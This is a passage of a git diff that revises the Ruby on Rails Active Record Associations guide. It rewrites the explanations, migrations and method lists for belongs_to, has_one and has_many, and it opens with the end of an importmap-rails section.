+
+**NOTE**: While Propshaft ensures proper asset handling, it does not handle
+JavaScript processing or transformations — `importmap-rails` assumes your
+JavaScript is already in a browser-compatible format. This is why it works best
+for projects that don't require transpiling or bundling.
+
+By eliminating the need for a build step and Node.js, `importmap-rails`
+simplifies JavaScript management.
+
+#### When Should You Use It?
+
+`importmap-rails` is ideal for Rails applications that:
+
+- Do not require complex JavaScript features like transpiling or bundling.
+- Use modern JavaScript without relying on tools like
+  [Babel](https://babeljs.io/).
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
index 6e68935f9b311..b5d108af4057e 100644
--- a/guides/source/association_basics.md
+++ b/guides/source/association_basics.md
@@ -1,22 +1,64 @@
-**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON http://guides.rubyonrails.org.**
+**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON <https://guides.rubyonrails.org>.**
 
 Active Record Associations
 ==========================
 
 This guide covers the association features of Active Record.
 
-After reading this guide, you will know:
+After reading this guide, you will know how to:
 
-* How to declare associations between Active Record models.
-* How to understand the various types of Active Record associations.
-* How to use the methods added to your models by creating associations.
+* Understand the various types of associations.
+* Declare associations between Active Record models.
+* Choose the right association type for your models.
+* Use Single Table Inheritance.
+* Setting up and using Delegated Types.
 
 --------------------------------------------------------------------------------
 
-Why Associations?
+Associations Overview
 -----------------
 
-In Rails, an _association_ is a connection between two Active Record models. Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for authors and a model for books. Each author can have many books. Without associations, the model declarations would look like this:
+Active Record associations allow you to define relationships between models.
+_Associations_ are implemented as special macro style calls that make it easy to
+tell Rails how your models relate to each other, which helps you manage your
+data more effectively, and makes common operations simpler and easier to read.
+
+INFO: A macro-style call is a method that generates or modifies other methods at
+runtime, allowing for concise and expressive declarations of functionality, such
+as defining model associations in Rails. For example, `has_many :comments`.
+
+When you set up an association, Rails helps define and manage the [Primary
+Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign
+Key](https://en.wikipedia.org/wiki/Foreign_key) relationships between instances
+of the two models, while the database ensures that your data stays consistent
+and properly linked.
+
+This makes it easy to keep track of which records are related. It also adds
+useful methods to your models so you can work with related data more easily.
+
+Consider a simple Rails application with models for authors and books.
+
+### Without Associations
+
+Without associations, creating and deleting books for that author would require
+a tedious and manual process. Here's what that would look like:
+
+```ruby
+class CreateAuthors < ActiveRecord::Migration[8.2]
+  def change
+    create_table :authors do |t|
+      t.string :name
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.references :author
+      t.datetime :published_at
+      t.timestamps
+    end
+  end
+end
+```
 
 ```ruby
 class Author < ApplicationRecord
@@ -26,13 +68,16 @@ class Book < ApplicationRecord
 end
 ```
 
-Now, suppose we wanted to add a new book for an existing author. We'd need to do something like this:
+To add a new book for an existing author, you'd need to provide the `author_id`
+value when creating the book.
 
 ```ruby
-@book = Book.create(published_at: Time.now, author_id: @author.id)
+@book = Book.create(author_id: @author.id, published_at: Time.now)
 ```
 
-Or consider deleting an author, and ensuring that all of its books get deleted as well:
+To delete an author and ensure all their books are also deleted, you'd need to
+retrieve all the author's `books`, loop through each `book` to destroy it, and
+then destroy the author.
 
 ```ruby
 @books = Book.where(author_id: @author.id)
@@ -42,7 +87,12 @@ end
 @author.destroy
 ```
 
-With Active Record associations, we can streamline these - and other - operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up authors and books:
+### Using Associations
+
+However, with associations, we can streamline these operations, as well as
+others, by explicitly informing Rails about the relationship between the two
+models. Here's the revised code for setting up authors and books using
+associations:
 
 ```ruby
 class Author < ApplicationRecord
@@ -54,39 +104,76 @@ class Book < ApplicationRecord
 end
 ```
 
-With this change, creating a new book for a particular author is easier:
+With this change, creating a new book for a particular author is simpler:
 
 ```ruby
 @book = @author.books.create(published_at: Time.now)
 ```
 
-Deleting an author and all of its books is *much* easier:
+Deleting an author and all of its books is much easier:
 
 ```ruby
 @author.destroy
 ```
 
-To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+When you set up an association in Rails, you still need to create a
+[migration](active_record_migrations.html) to ensure that the database is
+properly configured to handle the association. This migration will need to add
+the necessary foreign key columns to your database tables.
 
-The Types of Associations
--------------------------
+For example, if you set up a `belongs_to :author` association in the `Book`
+model, you would create a migration to add the `author_id` column to the `books`
+table:
+
+```bash
+rails generate migration AddAuthorToBooks author:references
+```
+
+This migration will add the `author_id` column and set up the foreign key
+relationship in the database, ensuring that your models and database stay in
+sync.
+
+To learn more about the different types of associations, you can read the next
+section of this guide. Following that, you'll find some tips and tricks for
+working with associations. Finally, there's a complete reference to the methods
+and options for associations in Rails.
 
-Rails supports six types of associations:
+Types of Associations
+---------------------
 
-* `belongs_to`
-* `has_one`
-* `has_many`
-* `has_many :through`
-* `has_one :through`
-* `has_and_belongs_to_many`
+Rails supports six types of associations, each with a particular use-case in
+mind.
 
-Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain [Primary Key](https://en.wikipedia.org/wiki/Unique_key)-[Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) information between instances of the two models, and you also get a number of utility methods added to your model.
+Here is a list of all of the supported types with a link to their API docs for
+more detailed information on how to use them, their method parameters, etc.
 
-In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+* [`belongs_to`][]
+* [`has_one`][]
+* [`has_many`][]
+* [`has_many :through`][`has_many`]
+* [`has_one :through`][`has_one`]
+* [`has_and_belongs_to_many`][]
 
-### The `belongs_to` Association
+In the remainder of this guide, you'll learn how to declare and use the various
+forms of associations. First, let's take a quick look at the situations where
+each association type is appropriate.
 
-A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way:
+[`belongs_to`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to
+[`has_and_belongs_to_many`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many
+[`has_many`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many
+[`has_one`]:
+    https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one
+
+### `belongs_to`
+
+A [`belongs_to`][] association sets up a relationship with another model, such
+that each instance of the declaring model "belongs to" one instance of the other
+model. For example, if your application includes authors and books, and each
+book can be assigned to exactly one author, you'd declare the book model this
+way:
 
 ```ruby
 class Book < ApplicationRecord
@@ -94,14 +181,19 @@ class Book < ApplicationRecord
 end
 ```
 
-![belongs_to Association Diagram](images/belongs_to.png)
+![belongs_to Association Diagram](images/association_basics/belongs_to.png)
 
-NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `author` association in the `Book` model, you would be told that there was an "uninitialized constant Book::Authors". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+NOTE: A `belongs_to` association _must_ use the singular term. If you use the
+plural form, like `belongs_to :authors` in the `Book` model, and try to create a
+book with `Book.create(authors: @author)`, Rails will give you an "uninitialized
+constant Book::Authors" error. This happens because Rails automatically infers
+the class name from the association name. If the association name is `:authors`,
+Rails will look for a class named `Authors` instead of `Author`.
 
 The corresponding migration might look like this:
 
 ```ruby
-class CreateBooks < ActiveRecord::Migration[5.0]
+class CreateBooks < ActiveRecord::Migration[8.2]
   def change
     create_table :authors do |t|
       t.string :name
@@ -109,7 +201,7 @@ class CreateBooks < ActiveRecord::Migration[5.0]
     end
 
     create_table :books do |t|
-      t.belongs_to :author, index: true
+      t.belongs_to :author
       t.datetime :published_at
       t.timestamps
     end
@@ -117,194 +209,233 @@ class CreateBooks < ActiveRecord::Migration[5.0]
 end
 ```
 
-### The `has_one` Association
-
-A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
-
-```ruby
-class Supplier < ApplicationRecord
-  has_one :account
-end
-```
+In database terms, the `belongs_to` association says that this model's table
+contains a column which represents a reference to another table. This can be
+used to set up one-to-one or one-to-many relations, depending on the setup. If
+the table _of the other class_ contains the reference in a one-to-one relation,
+then you should use `has_one` instead.
 
-![has_one Association Diagram](images/has_one.png)
+When used alone, `belongs_to` produces a one-directional one-to-one
+relationship. Therefore each book in the above example "knows" its author, but
+the authors don't know about their books. To set up a [bi-directional
+association](#bi-directional-associations) - use `belongs_to` in combination
+with a `has_one` or `has_many` on the other model, in this case the Author
+model.
 
-The corresponding migration might look like this:
+NOTE: By default `belongs_to` validates the presence of the associated record to
+guarantee reference consistency.<br/><br/>If `optional` is set to true in the
+model, then `belongs_to` does not guarantee reference consistency. This means
+that the foreign key in one table might not reliably point to a valid primary
+key in the referenced table.
 
 ```ruby
-class CreateSuppliers < ActiveRecord::Migration[5.0]
-  def change
-    create_table :suppliers do |t|
-      t.string :name
-      t.timestamps
-    end
-
-    create_table :accounts do |t|
-      t.belongs_to :supplier, index: true
-      t.string :account_number
-      t.timestamps
-    end
-  end
+class Book < ApplicationRecord
+  belongs_to :author, optional: true
 end
 ```
 
-Depending on the use case, you might also need to create a unique index and/or
-a foreign key constraint on the supplier column for the accounts table. In this
-case, the column definition might look like this:
+Hence, depending on the use case, you might also need to add a database-level
+foreign key constraint on the reference column, like this:
 
 ```ruby
-create_table :accounts do |t|
-  t.belongs_to :supplier, index: true, unique: true, foreign_key: true
+create_table :books do |t|
+  t.belongs_to :author, foreign_key: true
   # ...
 end
 ```
 
-### The `has_many` Association
+This ensures that even though `optional: true` allows `author_id` to be NULL,
+when it's not NULL, it must still reference a valid record in the authors table.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically
+gains numerous methods related to the association. Some of these are:
+
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+* `reload_association`
+* `reset_association`
+* `association_changed?`
+* `association_previously_changed?`
+
+We'll discuss some of the common methods, but you can find an exhaustive list in
+the [ActiveRecord Associations
+API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to).
 
-A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this:
+In all of the above methods, `association` is replaced with the symbol passed as
+the first argument to `belongs_to`. For example, given the declaration:
 
 ```ruby
+# app/models/book.rb
+class Book < ApplicationRecord
+  belongs_to :author
+end
+
+# app/models/author.rb
 class Author < ApplicationRecord
   has_many :books
+  validates :name, presence: true
 end
 ```
 
-NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+An instance of the `Book` model will have the following methods:
 
-![has_many Association Diagram](images/has_many.png)
+* `author`
+* `author=`
+* `build_author`
+* `create_author`
+* `create_author!`
+* `reload_author`
+* `reset_author`
+* `author_changed?`
+* `author_previously_changed?`
 
-The corresponding migration might look like this:
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use
+the `build_` prefix to build the association, rather than the
+`association.build` method that would be used for `has_many` or
+`has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
 
-```ruby
-class CreateAuthors < ActiveRecord::Migration[5.0]
-  def change
-    create_table :authors do |t|
-      t.string :name
-      t.timestamps
-    end
+##### Retrieving the association
 
-    create_table :books do |t|
-      t.belongs_to :author, index: true
-      t.datetime :published_at
-      t.timestamps
-    end
-  end
-end
+The `association` method returns the associated object, if any. If no associated
+object is found, it returns `nil`.
+
+```ruby
+@author = @book.author
 ```
 
-### The `has_many :through` Association
+If the associated object has already been retrieved from the database for this
+object, the cached version will be returned. To override this behavior (and
+force a database read), call `#reload_association` on the parent object.
 
-A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+```ruby
+@author = @book.reload_author
+```
+
+To unload the cached version of the associated object—causing the next access,
+if any, to query it from the database—call `#reset_association` on the parent
+object.
 
 ```ruby
-class Physician < ApplicationRecord
-  has_many :appointments
-  has_many :patients, through: :appointments
-end
+@book.reset_author
+```
 
-class Appointment < ApplicationRecord
-  belongs_to :physician
-  belongs_to :patient
-end
+##### Assigning the Association
 
-class Patient < ApplicationRecord
-  has_many :appointments
-  has_many :physicians, through: :appointments
-end
+The `association=` method assigns an associated object to this object. Behind
+the scenes, this means extracting the primary key from the associated object and
+setting this object's foreign key to the same value.
+
+```ruby
+@book.author = @author
 ```
 
-![has_many :through Association Diagram](images/has_many_through.png)
 
-The corresponding migration might look like this:
+The `build_association` method returns a new object of the associated type. This
+object will be instantiated from the passed attributes, and the link through
+this object's foreign key will be set, but the associated object will _not_ yet
+be saved.
 
 ```ruby
-class CreateAppointments < ActiveRecord::Migration[5.0]
-  def change
-    create_table :physicians do |t|
-      t.string :name
-      t.timestamps
-    end
+@author = @book.build_author(author_number: 123,
+                             author_name: "John Doe")
+```
 
-    create_table :patients do |t|
-      t.string :name
-      t.timestamps
-    end
+The `create_association` method takes it a step further and also saves the
+associated object once it passes all of the validations specified on the
+associated model.
 
-    create_table :appointments do |t|
-      t.belongs_to :physician, index: true
-      t.belongs_to :patient, index: true
-      t.datetime :appointment_date
-      t.timestamps
-    end
-  end
-end
+```ruby
+@author = @book.create_author(author_number: 123,
+                              author_name: "John Doe")
 ```
 
-The collection of join models can be managed via the [`has_many` association methods](#has-many-association-reference).
-For example, if you assign:
+Finally, `create_association!` does the same, but raises
+`ActiveRecord::RecordInvalid` if the record is invalid.
 
 ```ruby
-physician.patients = patients
+# This will raise ActiveRecord::RecordInvalid because the name is blank
+begin
+  @book.create_author!(author_number: 123, name: "")
+rescue ActiveRecord::RecordInvalid => e
+  puts e.message
+end
+```
+
+```irb
+irb> raise_validation_error: Validation failed: Name can't be blank (ActiveRecord::RecordInvalid)
 ```
 
-Then new join models are automatically created for the newly associated objects.
-If some that existed previously are now missing, then their join rows are automatically deleted.
+##### Checking for Association Changes
 
-WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+The `association_changed?` method returns true if a new associated object has
+been assigned and the foreign key will be updated in the next save.
 
-The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+The `association_previously_changed?` method returns true if the previous save
+updated the association to reference a new associate object.
 
 ```ruby
-class Document < ApplicationRecord
-  has_many :sections
-  has_many :paragraphs, through: :sections
-end
+@book.author # => #<Author author_number: 123, author_name: "John Doe">
+@book.author_changed? # => false
+@book.author_previously_changed? # => false
 
-class Section < ApplicationRecord
-  belongs_to :document
-  has_many :paragraphs
-end
+@book.author = Author.second # => #<Author author_number: 456, author_name: "Jane Smith">
+@book.author_changed? # => true
 
-class Paragraph < ApplicationRecord
-  belongs_to :section
-end
+@book.save!
+@book.author_changed? # => false
+@book.author_previously_changed? # => true
 ```
 
-With `through: :sections` specified, Rails will now understand:
+NOTE: Do not confuse `model.association_changed?` with
+`model.association.changed?`. The former checks if the association has been
+replaced with a new record, while the latter tracks changes to the attributes of
+the association.
+
+##### Checking for Existing Associations
+
+You can see if any associated objects exist by using the `association.nil?`
+method:
 
 ```ruby
-@document.paragraphs
+if @book.author.nil?
+  @msg = "No author found for this book"
+end
 ```
 
-### The `has_one :through` Association
+##### Saving Behavior of Associated Objects
+
+Assigning an object to a `belongs_to` association does _not_ automatically save
+either the current object or the associated object. However, when you save the
+current object, the association is saved as well.
+
+### `has_one`
+
+A [`has_one`][] association indicates that one other model has a reference to
+this model. That model can be fetched through this association.
 
-A `has_one :through` association sets up a one-to-one connection with another model. This association indicates
-that the declaring model can be matched with one instance of another model by proceeding _through_ a third model.
-For example, if each supplier has one account, and each account is associated with one account history, then the
-supplier model could look like this:
+For example, if each supplier in your application has only one account, you'd
+declare the supplier model like this:
 
 ```ruby
 class Supplier < ApplicationRecord
   has_one :account
-  has_one :account_history, through: :account
-end
-
-class Account < ApplicationRecord
-  belongs_to :supplier
-  has_one :account_history
-end
-
-class AccountHistory < ApplicationRecord
-  belongs_to :account
 end
 ```
 
-![has_one :through Association Diagram](images/has_one_through.png)
+The main difference from `belongs_to` is that the link column (in this case
+`supplier_id`) is located in the other table, not the table where the `has_one`
+is declared.
+
+![has_one Association Diagram](images/association_basics/has_one.png)
 
 The corresponding migration might look like this:
 
 ```ruby
-class CreateAccountHistories < ActiveRecord::Migration[5.0]
+class CreateSuppliers < ActiveRecord::Migration[8.2]
   def change
     create_table :suppliers do |t|
       t.string :name
@@ -312,2022 +443,2820 @@ class CreateAccountHistories < ActiveRecord::Migration[5.0]
     end
 
     create_table :accounts do |t|
-      t.belongs_to :supplier, index: true
+      t.belongs_to :supplier
       t.string :account_number
       t.timestamps
     end
-
-    create_table :account_histories do |t|
-      t.belongs_to :account, index: true
-      t.integer :credit_rating
-      t.timestamps
-    end
   end
 end
 ```
 
-### The `has_and_belongs_to_many` Association
+The `has_one` association creates a one-to-one match with another model. In
+database terms, this association says that the other class contains the foreign
+key. If this class contains the foreign key, then you should use `belongs_to`
+instead.
 
-A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+Depending on the use case, you might also need to create a unique index and/or a
+foreign key constraint on the supplier column for the accounts table. The unique
+index ensures that each supplier is associated with only one account and allows
+you to query in an efficient manner, while the foreign key constraint ensures
+that the `supplier_id` in the `accounts` table refers to a valid `supplier` in
+the `suppliers` table. This enforces the association at the database level.
 
 ```ruby
-class Assembly < ApplicationRecord
-  has_and_belongs_to_many :parts
-end
-
-class Part < ApplicationRecord
-  has_and_belongs_to_many :assemblies
+create_table :accounts do |t|
+  t.belongs_to :supplier, index: { unique: true }, foreign_key: true
+  # ...
 end
 ```
 
-![has_and_belongs_to_many Association Diagram](images/habtm.png)
-
-The corresponding migration might look like this:
-
-```ruby
-class CreateAssembliesAndParts < ActiveRecord::Migration[5.0]
-  def change
-    create_table :assemblies do |t|
-      t.string :name
-      t.timestamps
-    end
+This relation can be [bi-directional](#bi-directional-associations) when used in
+combination with `belongs_to` on the other model.
 
-    create_table :parts do |t|
-      t.string :part_number
-      t.timestamps
-    end
+#### Methods Added by [`has_one`](#has-one)
 
-    create_table :assemblies_parts, id: false do |t|
-      t.belongs_to :assembly, index: true
-      t.belongs_to :part, index: true
-    end
-  end
-end
-```
+When you declare a `has_one` association,  the declaring class automatically
+gains numerous methods related to the association. Some of these are:
 
-### Choosing Between `belongs_to` and `has_one`
+* `association`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+* `create_association!(attributes = {})`
+* `reload_association`
+* `reset_association`
 
-If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+We'll discuss some of the common methods, but you can find an exhaustive list in
+the [ActiveRecord Associations
+API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one).
 
-The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+Like with the [`belongs_to` references](#methods-added-by-belongs-to), in all of
+these methods, `association` is replaced with the symbol passed as the first
+argument to `has_one`. For example, given the declaration:
 
 ```ruby
+# app/models/supplier.rb
 class Supplier < ApplicationRecord
   has_one :account
 end
 
+# app/models/account.rb
 class Account < ApplicationRecord
+  validates :terms, presence: true
   belongs_to :supplier
 end
 ```
 
-The corresponding migration might look like this:
+Each instance of the `Supplier` model will have these methods:
+
+* `account`
+* `account=`
+* `build_account`
+* `create_account`
+* `create_account!`
+* `reload_account`
+* `reset_account`
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use
+the `build_` prefix to build the association, rather than the
+`association.build` method that would be used for `has_many` or
+`has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### Retrieving the association
+
+The `association` method returns the associated object, if any. If no associated
+object is found, it returns `nil`.
 
 ```ruby
-class CreateSuppliers < ActiveRecord::Migration[5.0]
-  def change
-    create_table :suppliers do |t|
-      t.string :name
-      t.timestamps
-    end
+@account = @supplier.account
+```
 
-    create_table :accounts do |t|
-      t.integer :supplier_id
-      t.string  :account_number
-      t.timestamps
-    end
+If the associated object has already been retrieved from the database for this
+object, the cached version will be returned. To override this behavior (and
+force a database read), call `#reload_association` on the parent object.
 
-    add_index :accounts, :supplier_id
-  end
-end
+```ruby
+@account = @supplier.reload_account
 ```
 
-NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+To unload the cached version of the associated object—forcing the next access,
+if any, to query it from the database—call `#reset_association` on the parent
+object.
+
+```ruby
+@supplier.reset_account
+```
 
-### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+##### Assigning the Association
 
-Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+The `association=` method assigns an associated object to this object. Behind
+the scenes, this means extracting the primary key from this object and setting
+the associated object's foreign key to the same value.
 
 ```ruby
-class Assembly < ApplicationRecord
-  has_and_belongs_to_many :parts
-end
+@supplier.account = @account
+```
 
-class Part < ApplicationRecord
-  has_and_belongs_to_many :assemblies
-end
+
+The `build_association` method returns a new object of the associated type. This
+object will be instantiated from the passed attributes, and the link through
+this object's foreign key will be set, but the associated object will _not_ yet
+be saved.
+
+```ruby
+@account = @supplier.build_account(terms: "Net 30")
 ```
 
-The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+The `create_association` method takes it a step further and also saves the
+associated object once it passes all of the validations specified on the
+associated model.
 
 ```ruby
-class Assembly < ApplicationRecord
-  has_many :manifests
-  has_many :parts, through: :manifests
-end
+@account = @supplier.create_account(terms: "Net 30")
+```
 
-class Manifest < ApplicationRecord
-  belongs_to :assembly
-  belongs_to :part
-end
+Finally, `create_association!` does the same as `create_association` above,
+but raises `ActiveRecord::RecordInvalid` if the record is invalid.
 
-class Part < ApplicationRecord
-  has_many :manifests
-  has_many :assemblies, through: :manifests
+```ruby
+# This will raise ActiveRecord::RecordInvalid because the terms is blank
+begin
+  @supplier.create_account!(terms: "")
+rescue ActiveRecord::RecordInvalid => e
+  puts e.message
 end
 ```
 
-The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
-
-You should use `has_many :through` if you need validations, callbacks or extra attributes on the join model.
+```irb
+irb> raise_validation_error: Validation failed: Terms can't be blank (ActiveRecord::RecordInvalid)
+```
 
-### Polymorphic Associations
+##### Checking for Existing Associations
 
-A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+You can see if any associated objects exist by using the `association.nil?`
+method:
 
 ```ruby
-class Picture < ApplicationRecord
-  belongs_to :imageable, polymorphic: true
+if @supplier.account.nil?
+  @msg = "No account found for this supplier"
 end
+```
 
-class Employee < ApplicationRecord
-  has_many :pictures, as: :imageable
-end
+##### Saving Behavior of Associated Objects
 
-class Product < ApplicationRecord
-  has_many :pictures, as: :imageable
-end
-```
+When you assign an object to a `has_one` association, that object is
+automatically saved to update its foreign key. Additionally, any object being
+replaced is also automatically saved, as its foreign key will change too.
 
-You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+If either of these saves fails due to validation errors, the assignment
+statement returns `false`, and the assignment itself is canceled.
 
-Similarly, you can retrieve `@product.pictures`.
+If the parent object (the one declaring the `has_one` association) is unsaved
+(that is, `new_record?` returns `true`) then the child objects are not saved
+immediately. They will be automatically saved when the parent object is saved.
 
-If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+If you want to assign an object to a `has_one` association without saving the
+object, use the `build_association` method. This method creates a new, unsaved
+instance of the associated object, allowing you to work with it before deciding
+to save it.
 
-```ruby
-class CreatePictures < ActiveRecord::Migration[5.0]
-  def change
-    create_table :pictures do |t|
-      t.string  :name
-      t.integer :imageable_id
-      t.string  :imageable_type
-      t.timestamps
-    end
+Use `autosave: false` when you want to control the saving behavior of the
+associated objects for the model. This setting prevents the associated object
+from being saved automatically when the parent object is saved. In contrast, use
+`build_association` when you need to work with an unsaved associated object and
+delay its persistence until you're ready.
 
-    add_index :pictures, [:imageable_type, :imageable_id]
-  end
+### `has_many`
+
+A [`has_many`][] association is similar to `has_one`, but indicates a
+one-to-many relationship with another model. You'll often find this association
+on the "other side" of a `belongs_to` association. This association indicates
+that each instance of the model has zero or more instances of another model. For
+example, in an application containing authors and books, the author model could
+be declared like this:
+
+```ruby
+class Author < ApplicationRecord
+  has_many :books
 end
 ```
 
-This migration can be simplified by using the `t.references` form:
+`has_many` establishes a one-to-many relationship between models, allowing each
+instance of the declaring model (`Author`) to have multiple instances of the
+associated model (`Book`).
+
+NOTE: Unlike a `has_one` and `belongs_to` association, the name of the other
+model is pluralized when declaring a `has_many` association.
+
+![has_many Association Diagram](images/association_basics/has_many.png)
+
+The corresponding migration might look like this:
 
 ```ruby
-class CreatePictures < ActiveRecord::Migration[5.0]
+class CreateAuthors < ActiveRecord::Migration[8.2]
   def change
-    create_table :pictures do |t|
+    create_table :authors do |t|
       t.string :name
-      t.references :imageable, polymorphic: true, index: true
+      t.timestamps
+    end
+
+    create_table :books do |t|
+      t.belongs_to :author
+      t.datetime :published_at
       t.timestamps
     end
   end
 end
 ```
 
-![Polymorphic Association Diagram](images/polymorphic.png)
+The `has_many` association creates a one-to-many relationship with another
+model. In database terms, this association says that the other class will have a
+foreign key that refers to instances of this class.
 
-### Self Joins
+In this migration, the `authors` table is created with a `name` column to store
+the names of authors. The `books` table is also created, and it includes a
+`belongs_to :author` association. This association establishes a foreign key
+relationship between the `books` and `authors` tables. Specifically, the
+`author_id` column in the `books` table acts as a foreign key, referencing the
+`id` column in the `authors` table. By including this `belongs_to :author`
+association in the `books` table, we ensure that each book is associated with a
+single author, enabling a `has_many` association from the `Author` model. This
+setup allows each author to have multiple associated books.
 
-In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+Depending on the use case, it's usually a good idea to create a non-unique index
+and optionally a foreign key constraint on the author column for the books
+table. Adding an index on the `author_id` column improves query performance when
+retrieving books associated with a specific author.
 
-```ruby
-class Employee < ApplicationRecord
-  has_many :subordinates, class_name: "Employee",
-                          foreign_key: "manager_id"
+If you wish to enforce [referential
+integrity](https://en.wikipedia.org/wiki/Referential_integrity) at the database
+level, add the [`foreign_key: true`](active_record_migrations.html#foreign-keys)
+option to the `reference` column declarations above. This will ensure that the
+`author_id` in the books table must correspond to a valid `id` in the `authors`
+table,
 
-  belongs_to :manager, class_name: "Employee"
+```ruby
+create_table :books do |t|
+  t.belongs_to :author, index: true, foreign_key: true
+  # ...
 end
 ```
 
-With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+This relation can be [bi-directional](#bi-directional-associations) when used in
+combination with `belongs_to` on the other model.
+
+#### Methods Added by `has_many`
 
-In your migrations/schema, you will add a references column to the model itself.
+When you declare a `has_many` association, the declaring class gains numerous
+methods related to the association. Some of these are:
+
+* `collection`
+* [`collection<<(object, ...)`][`collection<<`]
+* [`collection.delete(object, ...)`][`collection.delete`]
+* [`collection.destroy(object, ...)`][`collection.destroy`]
+* `collection=(objects)`
+* `collection_singular_ids`
+* `collection_singular_ids=(ids)`
+* [`collection.clear`][]
+* [`collection.empty?`][]
+* [`collection.size`][]
+* [`collection.find(...)`][`collection.find`]
+* [`collection.where(...)`][`collection.where`]
+* [`collection.exists?(...)`][`collection.exists?`]
+* [`collection.build(attributes = {})`][`collection.build`]
+* [`collection.create(attributes = {})`][`collection.create`]
+* [`collection.create!(attributes = {})`][`collection.create!`]
+* [`collection.reload`][]
+
+We'll discuss some of the common methods, but you can find an exhaustive list in
+the [ActiveRecord Associations
+API](https://api.rubyonrails.org/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many).
+
+In all of these methods, `collection` is replaced with the symbol passed as the
+first argument to `has_many`, and `collection_singular` is replaced with the
+singularized version of that symbol. For example, given the declaration:
 
 ```ruby
-class CreateEmployees < ActiveRecord::Migration[5.0]
-  def change
-    create_table :employees do |t|
-      t.references :manager, index: true
-      t.timestamps
-    end
-  end
+class Author < ApplicationRecord
+  has_many :books
 end
 ```
 
-Tips, Tricks, and Warnings
---------------------------
+An instance of the `Author` model can have the following methods:
+
+```
+books
+books<<(object, ...)
+books.delete(object, ...)
+books.destroy(object, ...)
+books=(objects)
+book_ids
+book_ids=(ids)
+books.clear
+books.empty?
+books.size
+books.find(...)
+books.where(...)
+books.exists?(...)
+books.build(attributes = {}, ...)
+books.create(attributes = {})
+books.create!(attributes = {})
+books.reload
+```
+
+[`collection<<`]:
